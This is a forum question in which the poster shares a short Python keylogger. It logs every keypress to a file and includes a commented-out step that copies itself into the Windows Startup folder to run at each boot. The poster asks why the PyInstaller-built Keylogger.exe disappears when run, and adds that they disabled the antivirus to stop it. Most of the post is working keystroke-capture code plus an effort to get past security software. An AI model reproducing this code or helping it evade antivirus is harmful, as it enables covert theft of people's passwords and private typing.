title: PyInstaller file opens a cmd window and deletes the .exe file
body: <p>This is my code:</p>
  <pre><code>from pynput.keyboard import Listener 
  import os 
  import logging 
  from shutil import copyfile
  
  username = os.getlogin() 
  logging_directory = f'D:/'
  
  #copyfile('Keylogger.py', f'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\Keylogger.py') 
  #For executing this program everytime system boots
  
  logging.basicConfig(filename=f'{logging_directory}/log.txt', level=logging.DEBUG, format='%(asctime)s: %(message)s')
  
  def key_handler(key): 
      logging.info(key)
  
  with Listener(on_press=key_handler) as listener: 
      listener.join()
  </code></pre>
  <p>So I installed pyinstaller and was able to create a .exe file called Keylogger.exe. However, after I run the program, it opens for a second and then disappears from the system. It's not in the recycle bin either. I also tried to run it as an administrator but it still shows the same results. When I executed this with cmd, it just said:</p>
  <pre><code>The system cannot execute the specified program
  </code></pre>
  <p>How do I fix this issue?</p>
  <p>Update: I disabled anti-virus. Now it just says that the file can't be executed</p>